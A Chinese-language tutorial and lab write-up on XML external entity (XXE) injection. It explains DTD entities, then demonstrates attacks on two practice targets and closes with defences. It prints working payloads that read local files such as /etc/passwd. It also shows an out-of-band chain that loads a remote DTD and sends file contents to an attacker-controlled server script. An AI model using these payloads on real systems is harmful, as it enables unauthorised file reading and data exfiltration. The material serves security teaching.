XXE漏洞

原理

XXE (XML External Entity Injection),即 XML 外部实体注入漏洞。XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取 ( php 原生态代码)、命令执行(如Java中一些第三方库导致)、内网扫描、攻击内网等危害。

XML 文档的作用是传输和存储数据,其焦点是数据的内容,把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。等同于 JSON 传输。

XML文档结构:

<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>

<!--DTD,这部分可选的-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>

<!--文档元素-->
<foo>&xxe;</foo>

DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件(.dtd)中(外部引用)。

DTD实体有以下几种声明方式:

  • 内部实体:
<!DOCTYPE note [ 
<!ENTITY a "admin">
]>
<note>&a</note>
<!-- admin -->
  • 参数实体:
<!DOCTYPE note> [
<!ENTITY % b "<!ENTITY b1 "awsl">">
%b;
]>
<note>&b1</note>
<!-- awsl -->

[!NOTE]

  • 参数实体用% name申明,引用时用%name;,只能在DTD中申明,DTD中引用。
  • 其余实体直接用name申明,引用时用&name;,只能在DTD中申明,可在xml文档中引用
  • 外部实体:

外部引用可支持http,file等协议。

<!DOCTYPE note> [ 
<!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<note>&c</note>
<!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->
  • 外部参数实体:
<!DOCTYPE note> [
<!ENTITY % d SYSTEM "http://47.106.143.26/xml.dtd">
%d;
]>
<note>&d1</note>
<!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->
<!-- http://47.106.143.26/xml.dtd --> 
<!ENTITY d1 SYSTEM "data://text/plain;base64,Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA==">

实例演示

实例一

靶场:https://github.com/c0ny1/xxe-lab

登录抓包。发现数据类型是xml,测试有无XXE漏洞。

此时要利用XXE漏洞执行文件读取操作,分两种情况,分别是有回显和无回显。

有回显

恶意引入外部实体:

<?xml version="1.0"?>
<!DOCTYPE xxshh [
<!ENTITY test SYSTEM "file:///c:/1.txt">
]>
<user><username>&test;</username><password>123</password></user>

成功读取1.txt。

这里尝试了很久一直报错,更改了php版本,修改了php.ini,均失败。最后发现是新建文本文件的时候将文件命名为1.txt,导致最终文件名是1.txt.txt。

无回显

  1. 带外查询判断是否有XXE漏洞。

(1) DNSLog

payload:

<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://bqtwb9.dnslog.cn">
%file;
]>
<user><username>&send;</username><password>123</password></user>

有解析记录证明存在XXE漏洞:

(2)反向连接

  1. 引用外部参数实体

payload:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.46.132/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

远程服务器上放两个文件:

test.dtd:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.46.132/get.php?file=%file;'>">

get.http(接收file参数,并将读到的内容写入file.txt):

<?php

$data=$_GET['file'];

$myfile = fopen("file.txt", "w+");

fwrite($myfile, $data);

fclose($myfile);

?>

发送请求之后,远程服务器上出现file.txt,利用成功XEE漏洞读取文件。

这里发现1.txt有空格的话就无法成功,原因是接收file参数的时候不能有空格,这种情况可以结合php://filter伪协议使用,然后解码。

分析以上流程:

  • payload定义了一个 外部实体 (file),指向本地文件系统路径 c://1.txt.
  • 同时又定义了一个 外部实体 (remote),指向远程 URL http://192.168.46.132/test.dtd
  • 触发了 remote 实体的解析,导致远程加载 test.dtd 的内容。
  • &send; 引用了 test.dtd 文件中定义的一个实体。
  • test.dtd 定义了一个外部实体 send,它的值是上述远程 URL,这个 URL 包含参数 file=%file;,其中 %file; 是在原始 DTD 中定义的本地文件路径。URL变为:
http://192.168.46.132/get.php?file=file:///c:/1.txt
  • 当外部实体 send 被解析时,解析器会尝试访问该 URL,并将c:/1.txt 的内容发送给攻击者的服务器,写入file.txt。

实例二

靶场:http://web.jarvisoj.com:9882/

抓包发现数据类型是json:

尝试更改数据格式:

Content-Type: application/xml

引入外部实体尝试读取 etc/passwd:

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

成功读取:

[!NOTE] 总结

  • 当发现Content-Type 为 xml 时,就应想到 XXE 注入。
  • 不管Content-Type是什么,均可尝试修改后测试 XXE。

XXE防御

  1. 禁用外部实体
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  1. 过滤用户提交的 XML 数据
过滤关键词:<!DOCTYPE和<!ENTITY,**或者SYSTEM和PUBLIC**